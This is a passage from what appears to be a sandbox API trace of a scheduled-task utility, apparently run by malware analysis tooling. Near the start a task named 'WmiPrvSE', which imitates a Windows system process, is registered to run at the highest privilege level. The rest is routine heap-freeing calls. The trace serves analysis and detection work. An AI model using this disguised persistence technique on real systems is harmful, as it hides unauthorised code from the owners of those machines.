ppPrincipal=0x29cab0 | out: ppPrincipal=0x29cab0*=0x3166c0) returned 0x0 [0088.628] IPrincipal:put_RunLevel (This=0x3166c0, RunLevel=1) returned 0x0 [0088.628] IUnknown:Release (This=0x3166c0) returned 0x1 [0088.628] malloc (_Size=0x18) returned 0x3168d0 [0088.628] ITaskFolder:RegisterTaskDefinition (in: This=0x317e10, Path="WmiPrvSE", pDefinition=0x317e60, flags=6, UserId=0x29cb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x29cb70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x29ea40, varVal2=0xfe), LogonType=3, sddl=0x29cb50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x29ca50 | out: ppTask=0x29ca50*=0x316a70) returned 0x0 [0089.253] free (_Block=0x3168d0) [0089.254] _memicmp (_Buf1=0x10bc30, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.254] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x10d440, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0089.254] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0089.254] GetProcessHeap () returned 0xf0000 [0089.254] GetProcessHeap () returned 0xf0000 [0089.254] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d740) returned 1 [0089.254] GetProcessHeap () returned 0xf0000 [0089.254] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d740) returned 0xe [0089.254] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d740 | out: hHeap=0xf0000) returned 1 [0089.254] GetProcessHeap () returned 0xf0000 [0089.254] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0xc, Size=0x82) returned 0x129d90 [0089.254] _vsnwprintf (in: _Buffer=0x29d190, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x29c9f8 | out: _Buffer="SUCCESS: The scheduled task \"WmiPrvSE\" has successfully been created.\n") returned 70 [0089.254] _fileno (_File=0x7feffe22ab0) returned -2 [0089.254] _errno () returned 0x314bb0 [0089.254] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0089.254] SetLastError (dwErrCode=0x6) [0089.254] lstrlenW (lpString="SUCCESS: The scheduled task \"WmiPrvSE\" has successfully been created.\n") returned 70 [0089.254] GetConsoleOutputCP () returned 0x0 [0089.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"WmiPrvSE\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0089.255] GetConsoleOutputCP () returned 0x0 [0089.255] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"WmiPrvSE\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"WmiPrvSE\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0089.255] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 70 [0089.255] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0089.255] IUnknown:Release (This=0x316a70) returned 0x0 [0089.255] TaskScheduler:IUnknown:Release (This=0x317e60) returned 0x0 [0089.255] TaskScheduler:IUnknown:Release (This=0x317e10) returned 0x0 [0089.255] TaskScheduler:IUnknown:Release (This=0x32dee0) returned 0x1 [0089.255] lstrlenW (lpString="") returned 0 [0089.255] GetProcessHeap () returned 0xf0000 [0089.255] GetProcessHeap () returned 0xf0000 [0089.255] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c550) returned 1 [0089.255] GetProcessHeap () returned 0xf0000 [0089.255] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c550) returned 0x1fc [0089.256] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c550 | out: hHeap=0xf0000) returned 1 [0089.256] GetProcessHeap () returned 0xf0000 [0089.256] GetProcessHeap () returned 0xf0000 [0089.256] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d6c0) returned 1 [0089.256] GetProcessHeap () returned 0xf0000 [0089.256] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d6c0) returned 0x16 [0089.256] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d6c0 | out: hHeap=0xf0000) returned 1 [0089.256] GetProcessHeap () returned 0xf0000 [0089.256] GetProcessHeap () returned 0xf0000 [0089.256] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d6a0) returned 1 [0089.256] GetProcessHeap () returned 0xf0000 [0089.256] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d6a0) returned 0x18 [0089.256] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d6a0 | out: hHeap=0xf0000) returned 1 [0089.256] GetProcessHeap () returned 0xf0000 [0089.256] GetProcessHeap () returned 0xf0000 [0089.256] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cf10) returned 1 [0089.256] GetProcessHeap () returned 0xf0000 [0089.256] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cf10) returned 0x20 [0089.257] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cf10 | out: hHeap=0xf0000) returned 1 [0089.257] GetProcessHeap () returned 0xf0000 [0089.257] GetProcessHeap () returned 0xf0000 [0089.257] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c190) returned 1 [0089.257] GetProcessHeap () returned 0xf0000 [0089.257] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c190) returned 0xa0 [0089.258] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c190 | out: hHeap=0xf0000) returned 1 [0089.258] GetProcessHeap () returned 0xf0000 [0089.258] GetProcessHeap () returned 0xf0000 [0089.258] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bc10) returned 1 [0089.258] GetProcessHeap () returned 0xf0000 [0089.258] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10bc10) returned 0x18 [0089.258] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bc10 | out: hHeap=0xf0000) returned 1 [0089.259] GetProcessHeap () returned 0xf0000 [0089.259] GetProcessHeap () returned 0xf0000 [0089.259] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ccd0) returned 1 [0089.259] GetProcessHeap () returned 0xf0000 [0089.259] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10ccd0) returned 0x20 [0089.259] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ccd0 | out: hHeap=0xf0000) returned 1 [0089.260] GetProcessHeap () returned 0xf0000 [0089.260] GetProcessHeap () returned 0xf0000 [0089.260] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c4b0) returned 1 [0089.260] GetProcessHeap () returned 0xf0000 [0089.260] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c4b0) returned 0x8a [0089.260] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c4b0 | out: hHeap=0xf0000) returned 1 [0089.260] GetProcessHeap () returned 0xf0000 [0089.260] GetProcessHeap () returned 0xf0000 [0089.260] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d6e0) returned 1 [0089.260] GetProcessHeap () returned 0xf0000 [0089.261] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d6e0) returned 0x18 [0089.261] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d6e0 | out: hHeap=0xf0000) returned 1 [0089.261] GetProcessHeap () returned 0xf0000 [0089.261] GetProcessHeap () returned 0xf0000 [0089.261] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cca0) returned 1 [0089.261] GetProcessHeap () returned 0xf0000 [0089.261] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cca0) returned 0x20 [0089.262] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cca0 | out: hHeap=0xf0000) returned 1 [0089.262] GetProcessHeap () returned 0xf0000 [0089.262] GetProcessHeap () returned 0xf0000 [0089.262] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10de50) returned 1 [0089.262] GetProcessHeap () returned 0xf0000 [0089.262] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10de50) returned 0x8c [0089.262] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10de50 | out: hHeap=0xf0000) returned 1 [0089.262] GetProcessHeap () returned 0xf0000 [0089.263] GetProcessHeap () returned 0xf0000 [0089.263] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d680) returned 1 [0089.263] GetProcessHeap () returned 0xf0000 [0089.263] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d680) returned 0x18 [0089.263] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d680 | out: hHeap=0xf0000) returned 1 [0089.263] GetProcessHeap () returned 0xf0000 [0089.263] GetProcessHeap () returned 0xf0000 [0089.263] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cc70) returned 1 [0089.263] GetProcessHeap () returned 0xf0000 [0089.263] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cc70) returned 0x20 [0089.263] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cc70 | out: hHeap=0xf0000) returned 1 [0089.264] GetProcessHeap () returned 0xf0000 [0089.264] GetProcessHeap () returned 0xf0000 [0089.264] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c490) returned 1 [0089.264] GetProcessHeap () returned 0xf0000 [0089.264] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c490) returned 0xe [0089.264] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c490 | out: hHeap=0xf0000) returned 1 [0089.264] GetProcessHeap () returned 0xf0000 [0089.264] GetProcessHeap () returned 0xf0000 [0089.264] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c470) returned 1 [0089.264] GetProcessHeap () returned 0xf0000 [0089.264] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c470) returned 0x18 [0089.264] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c470 | out: hHeap=0xf0000) returned 1 [0089.264] GetProcessHeap () returned 0xf0000 [0089.264] GetProcessHeap () returned 0xf0000 [0089.264] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105ea0) returned 1 [0089.264] GetProcessHeap () returned 0xf0000 [0089.264] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105ea0) returned 0x20 [0089.265] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105ea0 | out: hHeap=0xf0000) returned 1 [0089.265] GetProcessHeap () returned 0xf0000 [0089.265] GetProcessHeap () returned 0xf0000 [0089.265] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bd90) returned 1 [0089.265] GetProcessHeap () returned 0xf0000 [0089.265] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10bd90) returned 0x208 [0089.265] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bd90 | out: hHeap=0xf0000) returned 1 [0089.265] GetProcessHeap () returned 0xf0000 [0089.266] GetProcessHeap () returned 0xf0000 [0089.266] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bbf0) returned 1 [0089.266] GetProcessHeap () returned 0xf0000 [0089.266] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10bbf0) returned 0x18 [0089.266] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bbf0 | out: hHeap=0xf0000) returned 1 [0089.266] GetProcessHeap () returned 0xf0000 [0089.266] GetProcessHeap () returned 0xf0000 [0089.266] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105db0) returned 1 [0089.266] GetProcessHeap () returned 0xf0000 [0089.266] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105db0) returned 0x20 [0089.266] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105db0 | out: hHeap=0xf0000) returned 1 [0089.266] GetProcessHeap () returned 0xf0000 [0089.266] GetProcessHeap () returned 0xf0000 [0089.266] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d440) returned 1 [0089.266] GetProcessHeap () returned 0xf0000 [0089.266] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d440) returned 0x200 [0089.267] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d440 | out: hHeap=0xf0000) returned 1 [0089.267] GetProcessHeap () returned 0xf0000 [0089.267] GetProcessHeap () returned 0xf0000 [0089.267] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bc30) returned 1 [0089.267] GetProcessHeap () returned 0xf0000 [0089.267] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10bc30) returned 0x18 [0089.267] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bc30 | out: hHeap=0xf0000) returned 1 [0089.267] GetProcessHeap () returned 0xf0000 [0089.267] GetProcessHeap () returned 0xf0000 [0089.267] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105d20) returned 1 [0089.267] GetProcessHeap () returned 0xf0000 [0089.267] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105d20) returned 0x20 [0089.268] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105d20 | out: hHeap=0xf0000) returned 1 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c3a0) returned 1 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c3a0) returned 0x14 [0089.268] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c3a0 | out: hHeap=0xf0000) returned 1 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c380) returned 1 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c380) returned 0x18 [0089.268] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c380 | out: hHeap=0xf0000) returned 1 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105c60) returned 1 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105c60) returned 0x20 [0089.268] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105c60 | out: hHeap=0xf0000) returned 1 [0089.268] GetProcessHeap () returned 0xf0000 [0089.268] GetProcessHeap () returned 0xf0000 [0089.269] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c3c0) returned 1 [0089.269] GetProcessHeap () returned 0xf0000 [0089.269] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c3c0) returned 0x16 [0089.269] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c3c0 | out: hHeap=0xf0000) returned 1 [0089.269] GetProcessHeap () returned 0xf0000 [0089.269] GetProcessHeap () returned 0xf0000 [0089.269] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c240) returned 1 [0089.269] GetProcessHeap () returned 0xf0000 [0089.269] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10c240) returned 0x18 [0089.269] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10c240 | out: hHeap=0xf0000) returned 1 [0089.269] GetProcessHeap () returned 0xf0000 [0089.269] GetProcessHeap () returned 0xf0000 [0089.269] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105c30) returned 1 [0089.269] GetProcessHeap () returned 0xf0000 [0089.269] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105c30) returned 0x20 [0089.269] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105c30 | out: hHeap=0xf0000) returned 1 [0089.269] GetProcessHeap () returned 0xf0000 [0089.269] GetProcessHeap () returned 0xf0000 [0089.269] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bb70) returned 1 [0089.269] GetProcessHeap () returned 0xf0000 [0089.270] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10bb70) returned 0x2 [0089.270] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10bb70 | out: hHeap=0xf0000) returned 1 [0089.270] GetProcessHeap () returned 0xf0000 [0089.270] GetProcessHeap () returned 0xf0000 [0089.270] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105a80) returned 1 [0089.270] GetProcessHeap () returned 0xf0000 [0089.270] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105a80) returned 0x20 [0089.270] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105a80 | out: hHeap=0xf0000) returned 1 [0089.270] GetProcessHeap () returned 0xf0000 [0089.270] GetProcessHeap () returned 0xf0000 [0089.270] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105ab0) returned 1 [0089.270] GetProcessHeap () returned 0xf0000 [0089.270] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105ab0) returned 0x20 [0089.271] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105ab0 | out: hHeap=0xf0000) returned 1 [0089.271] GetProcessHeap () returned 0xf0000 [0089.271] GetProcessHeap () returned 0xf0000 [0089.271] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105ae0) returned 1 [0089.271] GetProcessHeap () returned 0xf0000 [0089.272] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105ae0) returned 0x20 [0089.272] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105ae0 | out: hHeap=0xf0000) returned 1 [0089.272] GetProcessHeap () returned 0xf0000 [0089.272] GetProcessHeap () returned 0xf0000 [0089.272] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x105b10) returned 1 [0089.272] GetProcessHeap () returned 0xf0000 [0089.272] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x105b10) returned 0x20 [0089.273] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105b10 | out: hHeap=0xf0000) returned 1 [0089.273] GetProcessHeap () returned 0xf0000 [0089.273] GetProcessHeap () returned 0xf0000 [0089.273] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd00) returned 1 [0089.273] GetProcessHeap () returned 0xf0000 [0089.273] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cd00) returned 0x20 [0089.273] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd00 | out: hHeap=0xf0000) returned 1 [0089.273] GetProcessHeap () returned 0xf0000 [0089.273] GetProcessHeap () returned 0xf0000 [0089.273] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d7e0) returned 1 [0089.274] GetProcessHeap () returned 0xf0000 [0089.274] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d7e0) returned 0xc [0089.274] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d7e0 | out: hHeap=0xf0000) returned 1 [0089.274] GetProcessHeap () returned 0xf0000 [0089.274] GetProcessHeap () returned 0xf0000 [0089.274] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd30) returned 1 [0089.274] GetProcessHeap () returned 0xf0000 [0089.274] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cd30) returned 0x20 [0089.274] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd30 | out: hHeap=0xf0000) returned 1 [0089.274] GetProcessHeap () returned 0xf0000 [0089.274] GetProcessHeap () returned 0xf0000 [0089.274] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x107c10) returned 1 [0089.274] GetProcessHeap () returned 0xf0000 [0089.274] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x107c10) returned 0x30 [0089.275] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x107c10 | out: hHeap=0xf0000) returned 1 [0089.275] GetProcessHeap () returned 0xf0000 [0089.275] GetProcessHeap () returned 0xf0000 [0089.275] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd60) returned 1 [0089.275] GetProcessHeap () returned 0xf0000 [0089.275] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cd60) returned 0x20 [0089.276] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cd60 | out: hHeap=0xf0000) returned 1 [0089.276] GetProcessHeap () returned 0xf0000 [0089.276] GetProcessHeap () returned 0xf0000 [0089.276] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x107c50) returned 1 [0089.276] GetProcessHeap () returned 0xf0000 [0089.276] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x107c50) returned 0x30 [0089.276] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x107c50 | out: hHeap=0xf0000) returned 1 [0089.276] GetProcessHeap () returned 0xf0000 [0089.276] GetProcessHeap () returned 0xf0000 [0089.276] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cee0) returned 1 [0089.276] GetProcessHeap () returned 0xf0000 [0089.276] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cee0) returned 0x20 [0089.277] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cee0 | out: hHeap=0xf0000) returned 1 [0089.277] GetProcessHeap () returned 0xf0000 [0089.277] GetProcessHeap () returned 0xf0000 [0089.277] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d700) returned 1 [0089.277] GetProcessHeap () returned 0xf0000 [0089.277] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d700) returned 0x16 [0089.277] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d700 | out: hHeap=0xf0000) returned 1 [0089.277] GetProcessHeap () returned 0xf0000 [0089.277] GetProcessHeap () returned 0xf0000 [0089.277] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ceb0) returned 1 [0089.277] GetProcessHeap () returned 0xf0000 [0089.277] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10ceb0) returned 0x20 [0089.278] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ceb0 | out: hHeap=0xf0000) returned 1 [0089.278] GetProcessHeap () returned 0xf0000 [0089.278] GetProcessHeap () returned 0xf0000 [0089.278] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d720) returned 1 [0089.278] GetProcessHeap () returned 0xf0000 [0089.278] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d720) returned 0x16 [0089.278] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d720 | out: hHeap=0xf0000) returned 1 [0089.278] GetProcessHeap () returned 0xf0000 [0089.278] GetProcessHeap () returned 0xf0000 [0089.278] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce80) returned 1 [0089.278] GetProcessHeap () returned 0xf0000 [0089.278] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10ce80) returned 0x20 [0089.279] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce80 | out: hHeap=0xf0000) returned 1 [0089.279] GetProcessHeap () returned 0xf0000 [0089.279] GetProcessHeap () returned 0xf0000 [0089.279] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x129d90) returned 1 [0089.279] GetProcessHeap () returned 0xf0000 [0089.279] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x129d90) returned 0x82 [0089.279] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x129d90 | out: hHeap=0xf0000) returned 1 [0089.279] GetProcessHeap () returned 0xf0000 [0089.279] GetProcessHeap () returned 0xf0000 [0089.279] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce50) returned 1 [0089.279] GetProcessHeap () returned 0xf0000 [0089.279] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10ce50) returned 0x20 [0089.279] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce50 | out: hHeap=0xf0000) returned 1 [0089.279] GetProcessHeap () returned 0xf0000 [0089.279] GetProcessHeap () returned 0xf0000 [0089.279] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d760) returned 1 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d760) returned 0xe [0089.280] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d760 | out: hHeap=0xf0000) returned 1 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce20) returned 1 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10ce20) returned 0x20 [0089.280] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10ce20 | out: hHeap=0xf0000) returned 1 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d780) returned 1 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d780) returned 0xc [0089.280] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d780 | out: hHeap=0xf0000) returned 1 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cdf0) returned 1 [0089.280] GetProcessHeap () returned 0xf0000 [0089.280] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cdf0) returned 0x20 [0089.281] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cdf0 | out: hHeap=0xf0000) returned 1 [0089.281] GetProcessHeap () returned 0xf0000 [0089.281] GetProcessHeap () returned 0xf0000 [0089.281] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d7a0) returned 1 [0089.281] GetProcessHeap () returned 0xf0000 [0089.281] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10d7a0) returned 0xe [0089.281] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d7a0 | out: hHeap=0xf0000) returned 1 [0089.281] GetProcessHeap () returned 0xf0000 [0089.281] GetProcessHeap () returned 0xf0000 [0089.281] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cdc0) returned 1 [0089.281] GetProcessHeap () returned 0xf0000 [0089.281] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x10cdc0) returned 0x20 [0089.282] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x10cdc0 | out: hHeap=0xf0000) returned 1 [0089.282] GetProcessHeap () returned 0xf0000 [0089.282] GetProcessHeap () returned 0xf0000 [0089.282] HeapValidate (hHeap=0xf0000, dwFlags=0x0, lpMem=0x10d7c0) 